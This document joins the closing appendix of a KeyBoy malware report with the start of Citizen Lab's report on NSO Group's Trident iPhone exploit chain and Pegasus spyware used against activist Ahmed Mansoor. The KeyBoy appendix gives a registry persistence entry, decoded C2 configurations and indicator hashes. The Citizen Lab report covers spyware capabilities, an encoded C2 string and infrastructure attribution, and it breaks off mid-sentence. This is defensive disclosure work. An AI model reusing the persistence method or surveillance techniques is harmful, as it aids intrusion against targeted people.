20160509 Parliamentarian sample. The Parliamentarian dropper contained references to the Desk.vbs script described above, yet this le and related content was not deployed or otherwise used in the 20160509 version. Persistence Persistence is achieved through the WinLogon\Shell registry key, and is installed by the dropper s execution of the Install export from the KeyBoy DLL. This export creates the le %localappdata%\Desktop.ini as shown below, and installs it by launching the Windows regini.exe command: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon shell = explorer.exe,C:\Windows\system32\rundll32.exe "%LOCALAPPDATA%\cfs.dal" cfsUpdate guration The con guration le used by this version of KeyBoy is written to disk as %localappdata%\cfs.dat by the dropper, similar to the behaviour of our 20160509 sample. This con guration le uses the newer encoding method outlined above and in Appendix A. Once decoded, the following information was obtained: 22/25 Identity Code: 9876543210 C2 Host/IP #1: 103.242.134[.]243 C2 Host/IP #2: 103.242.134[.]243 C2 Host/IP #3: 103.242.134[.]243 C2 Port #1: 443 C2 Port #2: 1234 C2 Port #3: 1234 Password: password8888 Campaign ID: MyUser Possible Targeting This malicious document embedded an empty decoy document to hide the exploitation of the vulnerability. We found however another interesting sample with the exact same payload but with a decoy document presenting a petition to release a Tibetan activist: Infrastructure This sample communicates with the following command and control server: C2 Host: 103.242.134[.]243 City: Hanshan Country: China Version: 20160509 (alternate) Exploit Document: beadf21b923600554b0ce54df42e78f5 Dropper: 0b4d45db323f68b465ae052d3a872068 23/25 Payload: 495adb1b9777002ecfe22aaf52fcee93 Payload DLL Exports SSSS 0x100080b0 SvcMain 0x10008b80 cfsUpdate 0x10008880 During our research we encountered another sample of the 20160509 version of KeyBoy. This sample was also found to be deployed using the CVE-2012-0158 vulnerability. The malware payload was identical to our Parliamentary sample outlined in Part 1, however the con guration le in this alternate sample was di erent. guration Identity Code: 9876543210 C2 Host/IP #1: 116.193.154[.]69 C2 Host/IP #2: 116.193.154[.]69 C2 Host/IP #3: 116.193.154[.]69 C2 Port #1:443 C2 Port #2:80 C2 Port #3:443 Password:8888 Campaign ID:8888 Possible Targeting The exploit document carrying this alternate KeyBoy con guration also used a decoy document which was displayed to the user after the exploit launched. This decoy carries content with a Tibetan nexus. Infrastructure C2 Host: 116.193.154[.]69 CNAME: 116-193-15469.pacswitch.net Appendix D: IOCs and Links KeyBoy binaries agewkassif: 087bffa8a570079948310dc9731c5709 20160509: 495adb1b9777002ecfe22aaf52fcee93 P_20150313: 0c7e55509e0b6d4277b3facf864af018 20151108 (32bit): c5b5f01ba24d6c02636388809f44472e 20151108 (64bit): 371bc132499f455f06fa80696db0df27 Droppers 24/25 0b4d45db323f68b465ae052d3a872068 23d284245e53ae4fe05c517d807ffccf 98977426d544bd145979f65f0322ae30 Exploit Documents 8307e444cad98b1b59568ad2eba5f201 (used in August Parliamentary campaign) 913b82ff8f090670fc6387e3a7bea12d (used in October Parliamentary campaign) 05b5cf94f07fee666eb086c91182ad25 8846d109b457a2ee44ddbf54d1cf7944 beadf21b923600554b0ce54df42e78f5 C2 Hosts www.about.jkub[.]com www.eleven.mypop3[.]org www.backus.myftp[.]name tibetvoices[.]com 103.242.134[.]243 116.193.154[.]69 103.40.102[.]233 45.125.12[.]147 Resources Keyboy Network Communication Encoding Details guration File Decoder C2 Decoder YARA Signatures Indicators of Compromise 25/25 The Million Dollar Dissident: NSO Group s iPhone Zero-Days used against a UAE Human Rights Defender citizenlab.org /2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ Authors: Bill Marczak and John Scott-Railton, Senior Researchers at the Citizen Lab, with the assistance of the research team at Lookout Security. Media coverage: The New York Times, Motherboard, Motherboard (2), Motherboard (3), Motherboard (4), Gizmodo, Wired, Washington Post, The Guardian, ZDNet, CBC Metro Morning (audio), Associated Press (video), Mashable, Foreign Policy, Reuters, CPJ, Quartz, Ars Technica, Wall Street Journal (1), Wall Street Journal (2), BBC News, BBC News (2), The Independent, TechCrunch, CBC News (1), CBC News (2), Telegraph, Business Insider (1), Business Insider (2), Al Jazeera, South China Morning Post , SC Magazine, ABC Australia, The Next Web, Russia Today, Xinhua, The Journal Ireland, The Australian, International Business Times, Buzz Feed News, Computerworld, Threatpost, USA Today , CNET, Financial Times, PCMag, Newsweek, Huffington Post (1), Huffington Post (2) Techdirt, Engadget, Forbes, The Daily Dot, IT World Canada, Global News, BNN, ITnews, Techmoran, YourMiddleEast, TechRepublic, Macworld, Bloomberg. Read Citizen Lab Director Ron Deibert s blog post on this report. Update (Sept 1, 2016): Today Apple released security updates for Desktop Safari and Mac OS X. These updates patch the Trident vulnerabilities that identified in this report for desktop users. The Trident vulnerabilities used by NSO could have been weaponized against users of non iOS devices, including OSX.We encourage all Apple users to install the update as soon as possible. Citizen Lab is not releasing samples of the attack at this time to protect the integrity of still-ongoing investigations. This report describes how a government targeted an internationally recognized human rights defender, Ahmed Mansoor, with the Trident, a chain of zero-day exploits designed to infect his iPhone with sophisticated commercial spyware. 1. Executive Summary Ahmed Mansoor is an internationally recognized human rights defender, based in the United Arab Emirates (UAE), and recipient of the Martin Ennals Award (sometimes referred to as a Nobel Prize for human rights ). On August 10 and 11, 2016, Mansoor received SMS text messages on his iPhone promising new secrets about detainees tortured in UAE jails if he clicked on an included link. Instead of clicking, Mansoor sent the messages to Citizen Lab researchers. We recognized the links as belonging to an exploit infrastructure connected to NSO Group, an Israel-based cyber war company that sells Pegasus, a government-exclusive lawful intercept spyware product. NSO Group is reportedly owned by an American venture capital firm, Francisco Partners Management. The ensuing investigation, a collaboration between researchers from Citizen Lab and from Lookout Security, determined that the links led to a chain of zero-day exploits ( zero-days ) that would have remotely jailbroken Mansoor s stock iPhone 6 and installed sophisticated spyware. We are calling this exploit chain Trident. Once infected, Mansoor s phone would have become a digital spy in his pocket, capable of employing his iPhone s camera and microphone to snoop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, logging messages sent in mobile chat apps, and tracking his movements. We are not aware of any previous instance of an iPhone remote jailbreak used in the wild as part of a targeted attack campaign, making this a rare find. The Trident Exploit Chain: CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrary code execution CVE-2016-4655: An application may be able to disclose kernel memory CVE-2016-4656: An application may be able to execute arbitrary code with kernel privileges Once we confirmed the presence of what appeared to be iOS zero-days, Citizen Lab and Lookout quickly initiated a responsible disclosure process by notifying Apple and sharing our findings. Apple responded promptly, and notified us that they would be addressing the vulnerabilities. We are releasing this report to coincide with the availability of the iOS 9.3.5 patch, which blocks the Trident exploit chain by closing the vulnerabilities that NSO Group appears to have exploited and sold to remotely compromise iPhones. Recent Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use just enough technical sophistication, coupled with carefully planned deception. This case demonstrates that not all threats follow this pattern. The iPhone has a well-deserved reputation for security. As the iPhone platform is tightly controlled by Apple, technically sophisticated exploits are often required to enable the remote installation and operation of iPhone monitoring tools. These exploits are rare and expensive. Firms that specialize in acquiring zero-days often pay handsomely for iPhone exploits. One such firm, Zerodium, acquired an exploit chain similar to the Trident for one million dollars in November 2015. The high cost of iPhone zero-days, the apparent use of NSO Group s government-exclusive Pegasus product, and prior known targeting of Mansoor by the UAE government provide indicators that point to the UAE government as the likely operator behind the targeting. Remarkably, this case marks the third commercial lawful intercept spyware suite employed in attempts to compromise Mansoor. In 2011, he was targeted with FinFisher s FinSpy spyware, and in 2012 he was targeted with Hacking Team s Remote Control System. Both Hacking Team and FinFisher have been the object of several years of revelations highlighting the misuse of spyware to compromise civil society groups, journalists, and human rights workers. 1/14 Figure 1: Ahmed Mansoor, the Million Dollar Dissident. The attack on Mansoor is further evidence that lawful intercept spyware has significant abuse potential, and that some governments cannot resist the temptation to use such tools against political opponents, journalists, and human rights defenders. Our findings also highlight the continuing lack of effective human rights policies and due diligence at spyware companies, and the continuing lack of incentives to address abuses of lawful intercept spyware. Our report proceeds as follows: Section 2 provides an overview of the attack against Ahmed Mansoor. Section 3 details NSO Group s tradecraft, gleaned from what appears to be a copy of NSO Group documentation leaked in the Hacking Team emails. Section 4 summarizes our technical analysis of the attack against Mansoor (in collaboration with Lookout). Section 5 describes how we found what appears to be the NSO Group s mobile attack infrastructure while working on our previous Stealth Falcon report. Section 6 links the spyware used in the attack on Mansoor to NSO Group. Section 7 outlines evidence of other individuals targeted with the infrastructure that we linked to NSO Group, including Mexican journalist Rafael Cabrera. Section 8 explains how the attack on Mansoor fits into the context of ongoing attacks on UAE dissidents. Section 9 concludes the report. 2. Ahmed Mansoor Targeted With iPhone Zero-Day Ahmed Mansoor is an internationally recognized human rights defender, blogger, and member of Human Rights Watch s advisory committee. Mansoor, who is based in the UAE, was jailed for eight months in 2011 along with four other activists for supporting a pro-democracy petition. After he was released, Mansoor s passport was confiscated, his car was stolen, and $140,000 disappeared from his bank account. Mansoor is banned from traveling overseas, and his work continues to attract significant harassment and punishment On the morning of August 10, 2016, Mansoor received an SMS text message that appeared suspicious. The next day he received a second, similar text. The messages promised secrets about detainees tortured in UAE prisons, and contained a hyperlink to an unfamiliar website. The messages arrived on Mansoor s stock iPhone 6 running iOS 9.3.3. 2/14 Figure 2: Ahmed Mansoor received suspicious text messages in August 2016. Credit: Martin Ennals Foundation. Mansoor quickly forwarded the messages to Citizen Lab researchers for investigation. He has good reason to be concerned about unsolicited messages: every year since 2011, Mansoor has been targeted with spyware attacks, including with FinFisher spyware in 2011 and Hacking Team spyware in 2012 (see Section 8: Ahmed Mansoor and Previous UAE Attacks ). Figure 3: SMS text messages received by Mansoor (English: New secrets about torture of Emiratis in state prisons The sender s phone numbers are spoofed. When Mansoor s messages reached us, we recognized the links: the domain name webadv.co belongs to a network of domains that we believe to be part of an exploit infrastructure provided by the spyware company NSO Group (see Section 6: Linking NSO Group Products to the Attack on Mansoor). We had first come across the NSO Group infrastructure during the course of our earlier research into Stealth Falcon, a UAE-based threat actor (see Section 5: Tracking a Mobile Attack Infrastructure). When we first found the infrastructure and connected it to NSO Group, we hypothesized that operators of the NSO Group spyware would target a user by sending them an infection link containing one of the exploit infrastructure domain names. Though we had previously found several public occurrences of links involving these domains on Twitter (see Section 7: Evidence of Other Targets), none of the links we found seemed to be active (i.e., none produced an infection when we tested them). In other exploit infrastructures with which we are familiar (e.g., Hacking Team s exploit infrastructure), we had noted that operators prefer to deactivate such links after a single click, or after a short period of time, perhaps in order to prevent the disclosure of the exploit to security researchers. We accessed the link Mansoor provided us on our own stock factory-reset iPhone 5 (Mansoor had an iPhone 6) with iOS 9.3.3 (the same version as Mansoor). When we clicked the link, we saw that it was indeed active, and watched as unknown software was remotely implanted on our phone. This suggested that the link contained a zero-day iPhone remote jailbreak: a chain of heretofore unknown exploits used to remotely circumvent iPhone security measures. To verify our observations, we shared our findings with Lookout Security. Both research teams determined that Mansoor was targeted with a zero-day iPhone remote jailbreak. The chain of exploits, which we are calling the Trident, included the following (see Section 4: The Trident iOS Exploit Chain and Payload for more details): CVE-2016-4657: An exploit for WebKit, which allows execution of the initial shellcode CVE-2016-4655: A Kernel Address Space Layout Randomization (KASLR) bypass exploit to find the base address of the kernel CVE-2016-4656: 32 and 64 bit iOS kernel exploits that allow execution of code in the kernel, used to jailbreak the phone and allow software installation The implant installed by the Trident exploit chain would have turned Mansoor s iPhone into a digital spy in his pocket. The spyware, which appears to be NSO s Pegasus spyware solution, was capable of employing his iPhone s camera and microphone to eavesdrop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, logging messages sent in mobile chat apps, and tracking his movements. 3. NSO Group and the Pegasus Solution The attack on Mansoor appears to have used Pegasus, a remote monitoring solution sold by NSO Group Technologies Ltd (see Section 6: Linking NSO Group Products to the Attack on Mansoor). NSO Group, based in Herzelia, Israel (CR# 514395409), develops and sells mobile phone surveillance software to governments around the world. The company describes itself as a leader in mobile and cellular Cyber Warfare, and has been operating for more than six years since its founding in 2010. NSO Group appears to be owned by a private equity firm with headquarters in San Francisco: Francisco Partners Management LLC , which reportedly acquired it in 2014 after approval from the Israeli Defense Ministry. However, as of November 2015, Francisco Partners was reportedly exploring selling NSO Group, with a stated valuation of up to $1 billion. Interestingly, Francisco Partners previously invested in Blue Coat, a company selling network filtering and monitoring solutions, whose technology has been used by repressive regimes according to previous Citizen Lab research. 3/14 Figure 4: Image from an NSO Group brochure posted on SIBAT (The International Defense Cooperation Directorate of the Israel Ministry of Defense). NSO Group has largely avoided the kind of high profile media attention that companies like Hacking Team and FinFisher have sometimes courted. The company maintains no website, there is little concrete information about NSO Group s Pegasus product available online, and we know of no prior technical analysis of NSO Group s products or infrastructure. Some previous media reports have linked NSO Group and Pegasus to a scandal involving potential illegal eavesdropping in Panama, and possible sales to Mexico. Other reports have suggested that NSO Group s activities have aroused concern within the United States intelligence community . Two of NSO Group s three co-founders, Shalev Hulio and Omri Lavie, are also co-founders of mobile security company Kaymera, which promises a Multi Layered Cyber Defense Approach to clients. On Kaymera s website, the company reprints a Bloomberg article pointing out that they play both sides of the cyber wars. The article also quotes NSO Group CEO, who suggests that they entered the defense business when potential clients saw the capabilities of NSO Group s tools. Figure 5: Kaymera s website promises comprehensive mobile security 3.1. Pegasus Documents in Hacking Team Leak Much of the publicly available information about Pegasus seems to be rumor, conjecture, or unverifiable claims made to media about capabilities. However, when we examined the Hacking Team emails leaked online after a 2015 breach, we found several instances of Hacking Team clients or resellers sharing what appeared to be NSO Group s product documentation and sales pitches. For instance, in December 2014, a reseller of surveillance technologies to the Mexican government forwarded a PDF document containing detailed technical specifications of NSO Group s Pegasus system to Hacking Team. According to the document s metadata, it appears to have been created in December 2013 by Guy Molho, who is listed on LinkedIn as the Director of Product Management at NSO Group. 3.2. Device Infection According to the purported 2013 NSO Group Pegasus documentation found in the Hacking Team materials, NSO Group offers two remote installation vectors for spyware onto a target device: a zero-click vector, and a one-click vector. The one-click vector involves sending the target a normal SMS text message with a link to a malicious website. The malicious website contains an exploit for the web browser on the target s device, and any other required exploits to implant the spyware. In the attack against Mansoor, the Trident exploit chain was used. To use NSO Group s zero-click vector, an operator instead sends the same link via a special type of SMS message, like a WAP Push Service Loading (SL) message. A WAP Push SL message causes a phone to automatically open a link in a web browser instance, eliminating the need for a user to click on the link to become infected. Many newer models of phones have started ignoring or restricting WAP Push messages. Mobile network providers may also decide to block these messages. 4/14 Figure 6: Diagram from purported NSO Group Pegasus documentation showing the sequence through which the spyware ( Agent ) is installed on a target s mobile device. Source: Hacking Team Emails. The documentation refers to a malicious website employed in installation of the spyware ( Agent ) as an Anonymizer, which communicates with a Pegasus Installation Server located on the operator s premises. When a target visits a malicious link from their device, the Anonymizer forwards the request to the Pegasus Installation Server, which examines the target device s User-Agent header to determine if Pegasus has an exploit chain, such as the Trident, that supports the device. If the device is supported, the Pegasus Installation Server returns the appropriate exploit to the target device through the Anonymizer and attempts an infection. If infection fails for any reason, the target s web browser will redirect to a legitimate website specified by the Pegasus operator, in order to avoid arousing the target s suspicion. In the operation targeting Mansoor, the one-click vector was used, with anonymizer sms.webadv.co (see Section 4: The Trident iOS Exploit Chain and Payload for more details). 3.3. Data Collection According to the purported NSO Group documentation, once successfully implanted on a phone using an exploit chain like the Trident, Pegasus can actively record or passively gather a variety of different data about the device. By giving full access to the phone s files, messages, microphone and video camera, the operator is able to turn the device into a silent digital spy in the target s pocket. Figure 7: Diagram from purported NSO Group Pegasus documentation showing the range of information gathered from a device infected with Pegasus. Source: Hacking Team Emails. In the spyware used in targeting Mansoor, we confirmed many elements of this functionality, and observed indications that the collection of the following types of data was supported, among others (see Section 4.2: The Payload for more details): Calls made by phone, WhatsApp and Viber, SMS messages, as well as messages and other data from popular apps like Gmail, WhatsApp, Skype, Facebook, KakaoTalk, Telegram, and others, A wide range of personal data, such as calendar data and contact lists, as well as passwords, including Wi-Fi passwords. 3.4. Exfiltration According to the purported NSO Group documentation, an infected device transmits collected information back to a Pegasus Data Server at the operator s premises, via the PATN (Pegasus Anonymizing Transmission Network). The PATN appears to be a proxy chain system similar to Hacking Team s anonymizers and FinFisher s relays. The chain is intended to obfuscate the identity of the government client associated with a particular operation. Once the collected information arrives on the Pegasus Data Server, an operator may visualize the information on a Pegasus Working Station. 5/14 Figure 8: A purported screenshot of NSO Group s Pegasus Working Station software, which visualizes location data collected from infected devices (as of March 2012). Source: Hacking Team Emails. The implant in the attack targeting Mansoor communicated with two PATN nodes: aalaan.tv and manoraonline.net. The first of these, aalaan.tv, appears to be a lookalike domain for the legitimate alaan.tv, a Gulf-based satellite television channel (see Section 5.2 for more details on lookalike domains observed in apparent NSO Group infrastructure). 3.5. Prioritizing Stealth One interesting design decision of NSO Group s Pegasus system, according to the purported NSO Group documentation, is that it emphasizes stealth above almost all else. As the documentation states: In general, we understand that it is more important that the source will not be exposed and the target will suspect nothing than keeping the agent alive and working. Certain Pegasus features are only enabled when the device is idle and the screen is off, such as environmental sound recording (hot mic) and photo taking. The documentation also states that the spyware implements a self-destruct mechanism, which may be activated automatically in cases where a great probability of exposing the agent exists. However, the documentation claims that sometimes Pegasus removal can result in an infected device rebooting immediately after removal. 4. The Trident iOS Exploit Chain and Payload In this section, we describe our technical analysis of the attack on Mansoor, including the Trident iOS Exploit chain and payload. Given the accelerated timeframe of this case, we are publishing the results of a preliminary analysis. Recall that the investigation that led to the discovery of the Trident exploit chain began when UAE human rights activist Ahmed Mansoor forwarded to Citizen Lab two suspicious links that he received via SMS on his iPhone (Section 2). Suspecting the links to be iPhone spyware associated with NSO Group ( Section 6), we accessed them from our own stock factory-reset iPhone 5 running iOS 9.3.3. Mansoor s device is an iPhone 6, running iOS 9.3.3; we did not have an iPhone 6 available for testing. Although the latest iOS version when Mansoor received the links was 9.3.4, this version had been released only one week beforehand. We accessed the links by opening Safari on our iPhone, and manually transcribing the links from the screenshots that Mansoor sent. After about ten seconds of navigating to the URL, which displayed a blank page, the Safari window closed, and we observed no further visual activity on the iPhone s screen. Meanwhile, we saw that the phone was served what appeared to be a Safari exploit, followed by intermediate files (final111), and a final payload ( test111.tar). The first two payloads form the Trident exploit chain, and test111.tar is the payload. 6/14 Figure 9: Requests from our phone to sms.webadv.co as we clicked on the malicious link. The first request is our click on the link. The requests for ntf_bed.html, ntf_brc.html, and test111.tar are conducted by a stage2 binary (in final111). All previous requests are conducted by Safari. Suspecting what we had observed to be the work of a zero-day iPhone remote jailbreak, we shared the exploit and payloads with colleagues at Lookout Security, initiated a responsible disclosure process with Apple, and sent Apple the exploit and payloads. 4.1. The Trident Exploit Chain This section provides a high-level overview of the Trident exploit chain used in the attack against Mansoor. For further details, see Lookout s report. When a user opens the links sent to Mansoor on an iPhone, a stage1 containing obfuscated JavaScript is downloaded. The JavaScript downloads (via XMLHttpRequest) stage2 binaries for either 32-bit (iPhone 5 and earlier) or 64-bit (iPhone 5s and later), depending on the type of device. The stage1 employs a previously undocumented memory corruption vulnerability in WebKit to execute this code within the context of the Safari browser (CVE-2016-4657). The stage2 exploits a function that returns a kernel memory address, from which the base address of the kernel can be mapped (CVE-2016-4655). The stage2 then employs a memory corruption vulnerability in the kernel (CVE-2016-4656). This last vulnerability is employed to disable code signing enforcement, allowing the running of unsigned binaries. The stage2 downloads and installs the stage3, which is the spyware payload. 4.2. The Payload This section provides a high-level overview of the functionality of the spyware payload. For more details, see Lookout s report. 4.2.1. Persistence The Trident is re-run locally on the phone at each boot, using the JavaScriptCore binary. To facilitate persistence, the spyware disables Apple s automatic updates, and detects and removes other jailbreaks. 4.2.2. Recording The attack payload includes a renamed copy of Cydia Substrate, a third-party app developer framework, which it uses to help facilitate recording of messages and phone calls from targeted apps. To record WhatsApp and Viber calls, the spyware injects WhatsApp and Viber using the Cydia Substrate, hooks various call status methods, and sends system-wide notifications when call events occur; the spyware listens for these notifications and starts or stops recording as appropriate. It appears that the payload can spy on apps including: iMessage, Gmail, Viber, Facebook, WhatsApp, Telegram, Skype, Line, KakaoTalk, WeChat, Surespot, Imo.im, Mail.Ru, Tango, VK, and Odnoklassniki. The spyware also exfiltrates calendar and contact data, as well as passwords saved in the phone s keychain, including Wi-Fi passwords and networks. 4.2.3. Exfiltration The attack payload beacons back to command and control (C2) servers delivered in stage2 of the Trident, via HTTPS. One of the binaries in the stage2 of the link sent to Mansoor contained the following string: WW91ciBHb29nbGUgdmVyaWZpY2F0aW9uIGNvZGUgaXM6NTY3ODQyOQpodHRwOi8vZ21haWwuY29tLz96PUZFY0NBQT09Jmk9TVRwaFlXeGhZVzR1ZEhZNk5EUXpMREU2YldGdWIzSmhiMjVzY The Base64 string decodes to: Your Google verification code is:5678429 http://gmail.com/?z=FEcCAA==&i=MTphYWxhYW4udHY6NDQzLDE6bWFub3Jhb25saW5lLm5ldDo0NDM=&s=zpvzPSYS674= This appears designed to look like a text message from Google containing a two-factor authentication code, though legitimate Google messages of this type do not contain a link, and contain one fewer digit in the verification code. Base64-decoding the parameter of the URL yields: 1:aalaan.tv:443,1:manoraonline.net:443 7/14 These are the C2 servers for the spyware sent to Mansoor: aalaan.tv and manoraonline.net. A similar obfuscation appears to be used for exchange of information over SMS between an infected phone and the C2 Server. In case the spyware s C2 servers are disabled or unreachable, an operator may deliver updated C2 servers to an infection using this type of SMS, similar to FinFisher emergency configuration update functionality. 5. Tracking a Mobile Attack Infrastructure This section explains how we first identified what appeared to be a mobile attack infrastructure while tracking Stealth Falcon. We then outline some basic observations about the infrastructure, including themes in the domain names used by the attackers. We link the infrastructure we found to NSO Group in Section 6. 5.1. Stealth Falcon Leads Us to a Mobile Attack Infrastructure A year or so before Ahmed Mansoor received his suspicious SMS messages, we were tracking Stealth Falcon, a threat actor targeting individuals critical of the UAE government at home and abroad, several of whom were later arrested. For full details on Stealth Falcon, read our May 2016 report. In the course of our investigation, we traced Stealth Falcon s spyware to dozens of different command and control (C2) domains. One server that matched our C2 fingerprint for Stealth Falcon s custom spyware, icloudcacher.com, was connected to the email address pn1g3p@sigaint.org, according to data in its DNS SOA record. The same email address appeared in WHOIS records for the following three domains: asrarrarabiya.com asrararabiya.co asrararablya.com These domains did not match our Stealth Falcon fingerprint. As we examined the domains, however, we found that the index page on these domains contained an iframe pointing to the website asrararabiya.com (Asrar Arabiya, or Arabian Secrets in English), which appears to be a benign website that takes a critical view of the Arab World dictatorships. The index page also contained a nearly invisible iframe pointing to an odd looking site, smser.net. Figure 10: HTML content of the index page on the three fake Asrar Arabiya domains. We suspect that the three domains we identified were attempting to mislead users into believing they were visiting the legitimate asrararabiya.com website. Since we had linked the operation to Stealth Falcon, we suspected that the additional domain, smser.net, might be an attack domain. We visited the URL in the iframe, https://smser.net/9918216t/, and were redirected to https://smser.net/redirect.aspx. Figure 11: HTML content of https://smser.net/redirect.aspx. The page tells the web browser to redirect the visitor to Google. We devised a number of fingerprints for various behaviors of smser.net, checked Shodan and Censys, and conducted our own scanning with zmap to identify related servers. We found 237 live IP addresses, and extracted their domain names from the SSL certificates returned by the each server. The SSL certificates we found included *.webadv.co, manoraonline.net, and aalaan.tv, the three domains in the spyware attack sent to Mansoor. We linked these IPs and domain names to what appears to be NSO Group exploit infrastructure. 5.2. Coding the Domain Names We coded the domain names we found, and identified several common themes, perhaps indicating the type of bait content that targets would receive. Interestingly, the most common theme among the domains we identified was News Media, perhaps indicating the use of fake news articles to trick targets into clicking on spyware links. An example of one such attack in action is the targeting of Mexican journalist Rafael Cabrera (Section 7.1). We also noted the prevalence of themes we had seen in other spearphishing attacks, e.g., online accounts, document sharing, shipment tracking, corporate account portals. Another common theme was ISPs, perhaps because a target may trust an SMS appearing to come from an ISP or Telco they subscribe to. 8/14 Figure 12: Most commonly recurring domain name themes. Alarmingly, some of the names suggested a willingness on the part of the operators to impersonate governments and international organizations. For example, we found two domain names that appear intended to masquerade as an official site of the International Committee of the Red Cross (ICRC): icrcworld.com and redcrossworld.com. We also identified the domain topcontactco.com which may be a lookalike for tpcontact.co.uk, a website belonging to Teleperformance, a company that has managed UK visa application processing in many countries. Figure 13: Screenshot from an article published by the UK Government on how to apply for a visa. Visa applicants are required to visit the legitimate tpcontact.co.uk website as part of the online visa application process. We found similar evidence of government-themed sites hinting at Mexico and Kenya. The following table provides further examples of themes found in the domain names. Type Example Impersonating News Media alljazeera.co bbc-africa.com cnn-africa.co unonoticias.net univision.click Aljazeera Las Ultimas Noticias Univision Shipment Tracking track-your-fedex-package.org FedEx ISP / Telco mz-vodacom.info iusacell-movil. com.mx sabafon.info newtarrifs.net Vodacom (Mozambique) Iusacell (Mexico) Sabafon (Yemen) Generic Popular Online Platforms y0utube.com.mx fb-accounts.com googleplay-store.com whatsapp-app.com YouTube Facebook Google WhatsApp Account Info. (Generic) accounts.mx adjust-local-settings.com Unknown Government Portals emiratesfoundation.net topcontactco.com The Emirates Foundation Teleperformance Visa Application Processing Portal for the UK (tpcontact.co.uk.) 9/14 Humanitarian organizations icrcworld.com redcrossworld.com International Committee of the Red Cross Airlines checkinonlinehere.com, turkishairines.info Generic Turkish Airlines Pokemon bulbazaur.com pickuchu.com The Pokemon Company Figure 14: Examples of domain names and themes We also examined the domain names for evidence of links to any specific country and found a range of countries. Our criteria was whether the domain name contained the name of a telecom provider, ISP, local website, government service, geographic location, a country s TLD, or the name of a country. The UAE and Mexico dominate this list, although other countries are also worth noting, including: Turkey, Israel, Thailand, Qatar, Kenya, Uzbekistan, Mozambique, Morocco, Yemen, Hungary, Saudi Arabia, Nigeria, and Bahrain. Figure 15: Country theme based on domain name. Citizen Lab is refraining from publishing a full list of domain names at this time given the possibility that some domains may have been used in legitimate law enforcement operations. 6. Linking NSO Group Products to the Attack on Mansoor In this section, we explain why we believe the attack on Ahmed Mansoor incorporated the use of NSO Group s Pegasus product. We explain how we connected the domain name in the link that Ahmed Mansoor received, sms.webadv.co, to a network of domain names that we had mapped out while working on the May 2016 Stealth Falcon report (Section 5). We also highlight links to the UAE. 6.1. Spyware Points to NSO Group s Pegasus Solution The final payload that we identified, test111.tar, contained several files, including libaudio.dylib, which appeared to be the base library for call recording, libimo.dylib, which appeared to be the library for recording chat messages from apps, and two libraries for WhatsApp and Viber call recording: libvbcalls.dylib, and libwacalls.dylib. In each file, we found several hundred strings containing the text _kPegasusProtocol, the name of NSO Group s solution. _kPegasusProtocolAgentControlElement_iv _kPegasusProtocolAgentControlElement_key _kPegasusProtocolAgentControlElement_ciphertext _kPegasusProtocolProtocolElement_iv _kPegasusProtocolProtocolElement_key _kPegasusProtocolProtocolElement_ciphertext _kPegasusProtocolResponseElement_iv _kPegasusProtocolResponseElement_key _kPegasusProtocolResponseElement_ciphertext Figure 16: Pegasus strings in the payload. 6.2. Historical Scanning Data Connects Mansoor Attack to NSO Group-linked Infrastructure 10/14 The links sent to Mansoor used the domain sms.webadv.co. The network of 237 live IP addresses we mapped ( Section 5) included 52.8.153.44, to which sms.webadv.co resolves, and which returns an SSL certificate for *.webadv.co. The 237 IPs also included 52.8.52.166 (aalaan.tv) and 162.209.103.68 (manoraonline.net), which were the two C2 servers in the spyware used in targeting Mansoor. However, the 237 IPs and related domain names that we mapped did not provide insight into the identity of the threat actor. The IP addresses all appeared to be associated with cloud VPS providers, which gave no clue as to the identities of the operators, and the WHOIS information was mostly private. We did note that several domain names had WHOIS registrants based in Israel (e.g., thainews.asia, kenyasms.org). We examined historical scanning data to see whether we could attribute the 237 IPs to a threat actor. We noted that at least 19 of these IPs had previously returned a different distinctive Google redirect in response to a GET / \xef\xbb\xbf\r\n\r\n Figure 17: Response to an HTTP GET exhibited by 19 IPs in historical scanning data (note that the first three bytes represent the unicode byte order mark BOM). These 19 IPs included an IP address that (later) resolved to manoraonline.net, one of the C2 servers for the spyware sent to Mansoor. We then searched the same historical data for other IP addresses that matched this same fingerprint. Overall, between October 2013 and September 2014, we identified 83 IPs that matched the fingerprint. We found several IPs of particular interest. The IP address 82.80.202.200 matched our fingerprint from October 2013 until April 2014. HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Tue, 04 Jun 2013 15:28:04 GMT Accept-Ranges: bytes ETag: "09a91b3861ce1:0" Server: Microsoft-IIS/7.5 Date: Mon, 28 Oct 2013 21:23:12 GMT Connection: close Content-Length: 127 \xef\xbb\xbf The domain name qaintqa.com pointed to this IP address at the same time (from April 2013 to April 2016), according to DomainTools. The registrant information for this domain is: Registrant Street: Medinat Hayehudim Registrant City: hertzliya Registrant State/Province: central Registrant Postal Code: 46766 Registrant Country: Registrant Phone: 972542228649 Registrant Email: lidorg@nsogroup.com We also found two other IP addresses of interest that matched the fingerprint: 82.80.202.204 and 54.251.49.214 matched the fingerprint in March 2014. The former was pointed to by mail1.nsogroup.com from 2014-09-24 to 2015-05-06 (PassiveTotal), the latter was pointed to by nsoqa.com from 2015-09-01 until present (DomainTools). Both domains are registered to NSO Group. Given these findings, we strongly suspected the network of domain names we uncovered was part of an exploit infrastructure for NSO Group s mobile spyware. 6.3. Additional UAE Infrastructure Recall that our first window into this infrastructure came from our Stealth Falcon research, when we identified the smser.net domain, fingerprinted it, and traced it to 237 live IP addresses that shared the same characteristics (Section 5.1). Using PassiveTotal, we were able to further trace smser.net to seven other domains, indicating Stealth Falcon targeting that appeared to use NSO Group s Pegasus solution in Qatar (ooredoodeals.com), UAE (alawaeltech.com, which may be a fake mobile phone company based in the Emirate of Ajman ), and Bahrain (bahrainsms.co). Based on our previously published research, we believe there is strong circumstantial evidence to support the conclusion that the operator of Stealth Falcon is connected to an entity within the UAE Government. We also identified five .ae TLDs that all shared the same registrant name ( Gerald Binord ), which may have been used to target people in the UAE. We further identified another group of domains including damanhealth.online ( Daman Health is a UAE-based health insurer) and uaenews.online, which also included a domain turkeynewsupdates.com, suggesting an operator that is targeting both UAE and Turkey targets. 7. Evidence of Other Targets In two cases, Mexico and Kenya, we found evidence of other targets who may have been targeted with NSO Group s Pegasus, based on messages they sent or received containing links that involve domain names we traced to what appears to be a mobile attack infrastructure associated with NSO Group s Pegasus (see Section 5: Tracking a 